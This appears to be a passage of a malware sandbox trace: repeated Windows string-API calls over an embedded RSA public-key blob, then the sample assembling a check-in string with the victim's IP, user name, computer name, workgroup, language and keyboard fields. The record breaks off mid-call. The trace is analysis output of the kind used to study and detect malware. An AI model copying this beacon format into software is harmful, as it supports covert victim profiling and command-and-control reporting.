(lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.876] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.877] lstrcatW (in: lpString1="", lpString2="action=call&" | out: lpString1="action=call&") returned="action=call&" [0042.877] lstrlenW (lpString="action=call&") returned 12 [0042.877] lstrcatW (in: lpString1="", lpString2="ip" | out: lpString1="ip") returned="ip" [0042.877] lstrcatW (in: lpString1="ip", lpString2="=" | out: lpString1="ip=") returned="ip=" [0042.877] lstrcatW (in: lpString1="ip=", lpString2="87.142.158.201" | out: lpString1="ip=87.142.158.201") returned="ip=87.142.158.201" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201", lpString2="&" | out: lpString1="ip=87.142.158.201&") returned="ip=87.142.158.201&" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&", lpString2="pc_user" | out: lpString1="ip=87.142.158.201&pc_user") returned="ip=87.142.158.201&pc_user" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=") returned="ip=87.142.158.201&pc_user=" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=", lpString2="CIiHmnxMn6Ps" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&", lpString2="pc_name" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=", lpString2="LHNIWSJ" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&", lpString2="pc_group" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=", lpString2="WORKGROUP" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&", lpString2="pc_lang" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=", lpString2="en-US" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&", lpString2="pc_keyb" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=", lpString2="0" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&" [0042.877] lstrcatW (in: 